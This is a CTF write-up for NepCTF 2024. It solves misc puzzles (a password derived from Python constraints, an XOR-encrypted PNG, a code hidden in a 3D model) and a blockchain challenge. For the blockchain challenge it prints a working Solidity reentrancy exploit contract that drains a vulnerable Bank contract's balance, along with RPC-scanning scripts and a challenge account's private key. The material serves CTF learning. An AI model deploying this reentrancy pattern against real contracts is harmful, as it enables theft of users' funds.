NepCTF 2024 wp

推测出题人的预期解,详细写了写区块链

misc

Nemophila

所以镜莲华的花语是?

二血

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
# 目标是生成一个48字符长的flag字符串
flag = [''] * 48

# 条件 1: 长度必须为48字符
# flag = input('Turn in your guess: ') 的前提已经确保了这一点。

# 条件 2: 第一个字母大写的ASCII码为83,并且flag第一个字符是小写的
# ord(flag.capitalize()[0]) != 83 or not flag[0].islower()
# 这里第一个字母的ASCII码为115,115的大写是83,对应的字母是 's'
flag[0] = 's'

# 条件 3: flag最后三个字符是 "ve}"
# flag[-3:] != "ve"
flag[-3:] = list("ve}")

# 条件 4: flag中有4个下划线 "_"
# flag.count(chr(95)) != 4
# 我们稍后在插入其他部分时可以插入下划线

# 条件 5: base64.b64encode((flag[10:13]+flag[28:31]).encode('utf-8')).decode() == 'RnJpSGlt'
# 我们需要确保base64编码的结果为 'RnJpSGlt'
# 'FrHim' 的base64编码为 'RnJpSGlt'
flag[10:13] = list("Fri")
flag[28:31] = list("Him")

# 条件 6: int(flag[24:26]) > 10 and int(flag[24:26]) < 20 and pow(int(flag[24:26]),2,5) != 0
flag[24:26] = list("15")

# 条件 7: number = flag[33] + flag[41] + flag[43:45], int(number) * 9_27 == 1028970 and number.isnumeric()
# 需要确保 int(number) == 1028970 / 927 == 1110
# flag[33] = '1', flag[41] = '1', flag[43:45] = '10'
flag[33] = '1'
flag[41] = '1'
flag[43:45] = list("10")

# 条件 8: flag[35:41].replace("e", "1") == "1t1rna"
# 需要替换的字母是'e' => '1' 以使其结果为 "1t1rna"
flag[35:41] = list("eterna")
flag[36] = 't'  # 替换"e"后的字母

# 条件 9: flag[31:33].swapcase() == "ME"
# 'me' 的 swapcase() 结果是 'ME'
flag[31:33] = list("me")

# 条件 10: flag.split("_") == [6, 12, 14, 7, 5] or flag.split("&") == [17, 9, 20]
# flag.split("_") 的结果应为 [6, 12, 14, 7, 5] 
# flag的不同部分应具有不同长度, 以插入4个下划线来实现
flag[6] = '_'
flag[19] = '_'
flag[34] = '_'
flag[42] = '_'
flag[17] = '&'
flag[27] = '&'

# 条件 11: ord(min(flag[:2].swapcase())) != 69
# flag[1] = 'u' ('S'.swapcase() != 'u')
flag[1] = 'e'

# 条件 12: flag[2] + flag[4:6] != "cet4"[:3]
# flag[2] = 'c', flag[4:6] = 'et' ('cet4'[:3] = 'cet')
flag[2] = 'c'
flag[4:6] = list('et')

# 条件 13: (flag[7:10] + flag[18] + flag[26])的每个字符的ASCII码都加1,结果是 'jt|Df'
# 'is|Ce' 的每个字符加1后是 'jt|Df'
flag[7:10] = list("is{")
flag[18] = 'C'
flag[26] = 'e'

# 条件 14: "SunR" 在 flag 中,"eren" 在 flag 中
# 插入 "SunR" 和 "eren"

flag[13:17] = list("eren")
flag[20:24] = list("SunR")

# 最后,拼接所有字符

print(flag)
flag = ''.join(flag)

# 输出结果
print(f"生成的 flag 是:{flag}")
1
2
['s', 'e', 'c', '', 'e', 't', '_', 'i', 's', '{', 'F', 'r', 'i', 'e', 'r', 'e', 'n', '&', 'C', '_', 'S', 'u', 'n', 'R', '1', '5', 'e', '&', 'H', 'i', 'm', 'm', 'e', '1', '_', 'e', 't', 'e', 'r', 'n', 'a', '1', '_', '1', '0', 'v', 'e', '}']
生成的 flag 是:secet_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}

第4个字母没有提示,根据语义猜测是r

然后密码不是通过所有条件,而是exit在最后一个

1
if "SunR" in flag and "eren" in flag:

密码是

1
secret_is{Frieren&C_SunR15e&Himme1_eterna1_10ve}

解压后拿到一个png,但是乱码

xor png头可以发现xor的key还是密码

然后再改大图片高度

img

1
NepCTF{1f_I_were_the_on1y_one_i_would_N0T_be_able_to_see_this_Sunrise}

3DNep

二血

文件头,glTF

找个在线预览

https://products.aspose.app/3d/zh-cn/viewer/gltf

img

底部是汉信码

img

调色一下

1
NepCTF{6e766b59-23d1-395c26d708a4}

blockchain

theif_god

容器启动后3分钟再进行攻击 题目只提供部分合约部署代码以及攻击者账户密钥

Tips:本次区块链题目 只是为了让大家多多少少都接触下WEB3 ,题目本身没有很难 属于签到难度,只需在线即时学习即可完成。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from web3 import Web3

# 连接到本地节点
web3 = Web3(Web3.HTTPProvider("https://neptune-xxxxx.nepctf.lemonprefect.cn"))

# 定义一个函数来扫描区块链并查找合约创建交易
def find_contract_addresses(start_block, end_block):
    contract_addresses = []
    for block_number in range(start_block, end_block + 1):
        block = web3.eth.get_block(block_number, full_transactions=True)
        for tx in block.transactions:
            if tx.to is None:  
                receipt = web3.eth.get_transaction_receipt(tx.hash)
                contract_addresses.append(receipt.contractAddress)
    return contract_addresses

# 扫描区块范围
start_block = 0  # 起始区块
end_block = web3.eth.block_number  # 当前最新区块
contracts = find_contract_addresses(start_block, end_block)

print("Deployed contract addresses:")
for address in contracts:
    print(address)

附件:https://pan.baidu.com/s/1vuzalD8A3BKpQWYnoqOB3A?pwd=s5o6

题目附件里面可以看到合约部分

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Bank {
    mapping(address => uint256) public balanceOf;
    string private flag;
    uint256 public flagPrice = 50 ether;

    // 事件日志
    event Deposit(address indexed user, uint256 amount);
    event Withdraw(address indexed user, uint256 amount);
    event TransferFailed(address indexed user, uint256 amount);
    event FlagPurchased(address indexed buyer, string flag);

    constructor(string memory _flag) {
        flag = _flag;
    }

    // 存入ether,并更新余额
    function deposit() external payable {
        balanceOf[msg.sender] += msg.value;
        emit Deposit(msg.sender, msg.value);
    }

     // 提取msg.sender的全部ether
    function withdraw() external {
        uint256 balance = balanceOf[msg.sender]; // 获取余额
        require(balance > 0, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: balance}("");
        require(success, "Failed to send Ether");
        // 更新余额
        balanceOf[msg.sender] = 0;
    }


    // 获取银行合约的余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }

    // 获取flag
    function getFlag() external view returns (string memory) {
        require(balanceOf[msg.sender] >= flagPrice, "Insufficient balance to get flag");
        return flag;
    }
}

很明显的重入攻击

hardhat.config.js 可以看到一个priKey,该账户里面有10ether

1
0x4b609fde92771ee750dac4d0aace6c9cf34e341229dbda382e49c492ad206e5e

题目描述

https访问:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
{
  "jsonrpc": "2.0",
  "id": null,
  "error": {
    "code": -32700,
    "message": "Parse error: Unexpected end of JSON input",
    "data": {
      "message": "Parse error: Unexpected end of JSON input"
    }
  }
}

说明是RPC

geth连不上rpc,那就用web3.py

做法1

可以发现flag直接就在slot1里,虽然直接读slot读不到(

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
from web3 import Web3

RPC_URL = "https://neptune-13737.nepctf.lemonprefect.cn"

w3 = Web3(Web3.HTTPProvider(RPC_URL))

if w3.isConnected() !=True:
    print("Connect failed.")

print(w3.eth.getBlock(1,full_transactions=True))

读block

1
AttributeDict({'baseFeePerGas': '0x342770c0', 'blobGasUsed': '0x0', 'difficulty': 0, 'excessBlobGas': '0x0', 'extraData': HexBytes('0x'), 'gasLimit': 30000000, 'gasUsed': 612952, 'hash': HexBytes('0x77ecb81a49af6cbe799860f6bbda79d2015b7f3aa76d8b4b270f312727283eb5'), 'logsBloom': HexBytes('0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000'), 'miner': '0xC014BA5EC014ba5ec014Ba5EC014ba5Ec014bA5E', 'mixHash': HexBytes('0xf4fbfa6c8463f342eb58838d8c6b0661faf22e7076a518bf4deaddbf3fa8a112'), 'nonce': HexBytes('0x0000000000000000'), 'number': 1, 'parentBeaconBlockRoot': '0xdd8876ba5af271ae9d93ececb192d6a7b4e6094ca5999756336279fd796b8619', 'parentHash': HexBytes('0xf1058860edee7adb61be72056ab48b40ea1a9597bc1539a3ec2f959495095a33'), 'receiptsRoot': HexBytes('0xa51f114d614d50fb79c31b06b3f83a099e9bd10f5601f504cef92a0c75295422'), 'sha3Uncles': HexBytes('0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347'), 'size': 4128, 'stateRoot': HexBytes('0x52f366adb746c93998e193c3f2306c4e59261908ae3431aaf0f1834c8fa3eaa4'), 'timestamp': 1724682181, 'totalDifficulty': 0, 'transactions': [AttributeDict({'blockHash': HexBytes('0x77ecb81a49af6cbe799860f6bbda79d2015b7f3aa76d8b4b270f312727283eb5'), 'blockNumber': 1, 'from': '0xc8cb2a81f0b9867b0714a342b7B8634b763C882E', 'gas': 2000000, 'gasPrice': 50000000000, 'hash': HexBytes('0x42f4711d404af666dea841d858797846ebd0888dfa5228386d5221ff870c27e8'), 'input': '0x60806040526802b5e3af16b188000060025534801561001c575f80fd5b50604051610cfc380380610cfc833981810160405281019061003e91906101a1565b806001908161004d91906103f5565b50506104c4565b5f604051905090565b5f80fd5b5f80fd5b5f80fd5b5f80fd5b5f601f19601f8301169050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6100b38261006d565b810181811067ffffffffffffffff821117156100d2576100d161007d565b5b80604052505050565b5f6100e4610054565b90506100f082826100aa565b919050565b5f67ffffffffffffffff82111561010f5761010e61007d565b5b6101188261006d565b9050602081019050919050565b8281835e5f83830152505050565b5f610145610140846100f5565b6100db565b90508281526020810184848401111561016157610160610069565b5b61016c848285610125565b509392505050565b5f82601f83011261018857610187610065565b5b8151610198848260208601610133565b91505092915050565b5f602082840312156101b6576101b561005d565b5b5f82015167ffffffffffffffff8111156101d3576101d2610061565b5b6101df84828501610174565b91505092915050565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061023657607f821691505b602082108103610249576102486101f2565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026102ab7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82610270565b6102b58683610270565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f6102f96102f46102ef846102cd565b6102d6565b6102cd565b9050919050565b5f819050919050565b610312836102df565b61032661031e82610300565b84845461027c565b825550505050565b5f90565b61033a61032e565b610345818484610309565b505050565b5b818110156103685761035d5f82610332565b60018101905061034b565b5050565b601f8211156103ad5761037e8161024f565b61038784610261565b81016020851015610396578190505b6103aa6103a285610261565b83018261034a565b50505b505050565b5f82821c905092915050565b5f6103cd5f19846008026103b2565b1980831691505092915050565b5f6103e583836103be565b9150826002028217905092915050565b6103fe826101e8565b67ffffffffffffffff8111156104175761041661007d565b5b610421825461021f565b61042c82828561036c565b5f60209050601f83116001811461045d575f841561044b578287015190505b61045585826103da565b8655506104bc565b601f19841661046b8661024f565b5f5b828110156104925784890151825560018201915060208501945060208101905061046d565b868310156104af57848901516104ab601f8916826103be565b8355505b6001600288020188555050505b505050505050565b61082b806104d15f395ff3fe608060405260043610610054575f3560e01c806312065fe0146100585780633ccfd60b146100825780633dc4f1471461009857806370a08231146100c2578063d0e30db0146100fe578063f963393014610108575b5f80fd5b348015610063575f80fd5b5061006c610132565b604051610079919061048d565b60405180910390f35b34801561008d575f80fd5b50610096610139565b005b3480156100a3575f80fd5b506100ac6102a8565b6040516100b9919061048d565b60405180910390f35b3480156100cd575f80fd5b506100e860048036038101906100e39190610504565b6102ae565b6040516100f5919061048d565b60405180910390f35b6101066102c2565b005b348015610113575f80fd5b5061011c610364565b604051610129919061059f565b60405180910390f35b5f47905090565b5f805f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490505f81116101bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101b290610609565b60405180910390fd5b5f3373ffffffffffffffffffffffffffffffffffffffff16826040516101e090610654565b5f6040518083038185875af1925050503d805f811461021a576040519150601f19603f3d011682016040523d82523d5f602084013e61021f565b606091505b5050905080610263576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025a906106b2565b60405180910390fd5b5f805f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b60025481565b5f602052805f5260405f205f915090505481565b345f803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461030d91906106fd565b925050819055503373ffffffffffffffffffffffffffffffffffffffff167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405161035a919061048d565b60405180910390a2565b60606002545f803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205410156103e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103de9061077a565b60405180910390fd5b600180546103f4906107c5565b80601f0160208091040260200160405190810160405280929190818152602001828054610420906107c5565b801561046b5780601f106104425761010080835404028352916020019161046b565b820191905f5260205f20905b81548152906001019060200180831161044e57829003601f168201915b5050505050905090565b5f819050919050565b61048781610475565b82525050565b5f6020820190506104a05f83018461047e565b92915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6104d3826104aa565b9050919050565b6104e3816104c9565b81146104ed575f80fd5b50565b5f813590506104fe816104da565b92915050565b5f60208284031215610519576105186104a6565b5b5f610526848285016104f0565b91505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6105718261052f565b61057b8185610539565b935061058b818560208601610549565b61059481610557565b840191505092915050565b5f6020820190508181035f8301526105b78184610567565b905092915050565b7f496e73756666696369656e742062616c616e63650000000000000000000000005f82015250565b5f6105f3601483610539565b91506105fe826105bf565b602082019050919050565b5f6020820190508181035f830152610620816105e7565b9050919050565b5f81905092915050565b50565b5f61063f5f83610627565b915061064a82610631565b5f82019050919050565b5f61065e82610634565b9150819050919050565b7f4661696c656420746f2073656e642045746865720000000000000000000000005f82015250565b5f61069c601483610539565b91506106a782610668565b602082019050919050565b5f6020820190508181035f8301526106c981610690565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61070782610475565b915061071283610475565b925082820190508082111561072a576107296106d0565b5b92915050565b7f496e73756666696369656e742062616c616e636520746f2067657420666c61675f82015250565b5f610764602083610539565b915061076f82610730565b602082019050919050565b5f6020820190508181035f83015261079181610758565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806107dc57607f821691505b6020821081036107ef576107ee610798565b5b5091905056fea2646970667358221220d84f48d8b28b0a86bb8c8419be64740cf9d1e88bea42a0de20e94f86cee5061b64736f6c634300081a00330000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000002c4e65704354467b62633138373835312d656564382d343665382d396139612d3666303135663539376231647d0000000000000000000000000000000000000000', 'nonce': 0, 'r': HexBytes('0xab47f78da927a50cffe8d6af01468928cdde71ff9576e46e9978eda826341970'), 's': HexBytes('0x01ba9dbbec7560075fb16fc0ef73cc1664ef63b0565c60528e32e061dd616c9d'), 'to': None, 'transactionIndex': 0, 'type': '0x0', 'v': 62709, 'value': 0})], 'transactionsRoot': HexBytes('0xdf4b004d2492cb44fc2f996d741668f5e8e9468d4b8ab0d4c4553c9cfd771aca'), 'uncles': [], 'withdrawals': [], 'withdrawalsRoot': '0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421'})

直接看input

img

做法2(预期解)

题目最早是没给任何提示的

先摸索出动态靶机是rpc

然后再写脚本读

其实一共就四个block

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from web3 import Web3
import json

# 连接到以太坊节点(目标服务器)
w3 = Web3(Web3.HTTPProvider("https://neptune-13737.nepctf.lemonprefect.cn"))
# w3 = Web3(Web3.HTTPProvider("http://192.168.123.27:40011"))

# 检查是否连接成功
if not w3.isConnected():
    print("无法连接到以太坊节点")
    exit()

# 定义合约 ABI (用来解码事件日志),在这里我们需要 ABI 的定义
# 这里我们假设题目合约的 ABI 是已知的,如下
contract_abi = [{"inputs":[{"internalType":"string","name":"_flag","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":False,"inputs":[{"indexed":True,"internalType":"address","name":"user","type":"address"},{"indexed":False,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Deposit","type":"event"},{"anonymous":False,"inputs":[{"indexed":True,"internalType":"address","name":"buyer","type":"address"},{"indexed":False,"internalType":"string","name":"flag","type":"string"}],"name":"FlagPurchased","type":"event"},{"anonymous":False,"inputs":[{"indexed":True,"internalType":"address","name":"user","type":"address"},{"indexed":False,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"TransferFailed","type":"event"},{"anonymous":False,"inputs":[{"indexed":True,"internalType":"address","name":"user","type":"address"},{"indexed":False,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Withdraw","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deposit","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"flagPrice","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getFlag","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"}]

# 遍历所有区块以找到合约创建交易
def find_contract_address():
    latest_block = w3.eth.blockNumber
    print("block_num:",latest_block)
    for block_num in range(latest_block + 1):
        block = w3.eth.getBlock(block_num, full_transactions=True)
        # print(block.transactions)
        for tx in block.transactions:
            # print(tx)
            # 如果交易的 `to` 字段为 None,这可能是一个合约创建交易
            if tx["to"] is None:
            #     # 获取合约地址
                receipt = w3.eth.getTransactionReceipt(tx["hash"])
                contract_address = receipt["contractAddress"]

                # 检查是否有题目合约的事件
                contract = w3.eth.contract(address=contract_address, abi=contract_abi)
                events = contract.events
                for event in events:
                    logs = getattr(contract.events, event.event_name).createFilter(fromBlock=block_num).get_all_entries()
                    if logs:
                        print(f"找到可能的合约地址: {contract_address} 在区块: {block_num}")
                        return contract_address
    return None

# 执行查找
contract_address = find_contract_address()
if contract_address:
    print(f"找到合约地址: {contract_address}")
else:
    print("未找到目标合约地址")
1
2
3
block_num: 4
找到可能的合约地址: 0xA86Cb9aCABb3E6629a47d676BEB38e2455B20917 在区块: 1
找到合约地址: 0xA86Cb9aCABb3E6629a47d676BEB38e2455B20917

其实block 2的也有一个合约

用来给Bank.sol存入初始的50eth,用于完成攻击

所以重入是为了取出他人存在合约里的余额

img

getBalance可以看到里面有50Ether

不过题目环境很卡(

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "./Bank.sol"; 

contract Exploit {
    Bank b;
    constructor(address payable addr) public payable {
        b = Bank(addr);
    }
    function attack() public payable {
        b.deposit{value: msg.value}();
        b.withdraw();
    }
    fallback() external payable{
        if(address(b).balance >= 1 ether){
            b.withdraw();
        }
    }

    function getBalance()public view returns (uint){
        return address(this).balance;
    }

    function withdraw() external {
        payable(msg.sender).transfer(address(this).balance);
    }

}

重入攻击的原理是由于目标合约通过msg.sender.call{value: balance}("")的方式转账

且先转账再减钱

fallback()的特点 在合约调用没有匹配到函数签名,或者调用没有带任何数据时被自动调用。

所以这题如果在fallback里面withdraw()会被反复触发,也就是重入


部署攻击合约

往exp合约存一点,1 Gwei也行

然后打attack重放

会把里面的50eth都取出到exp合约里

再把钱提到账户里,存回到题目合约里

img

满足条件,拿到flag

0%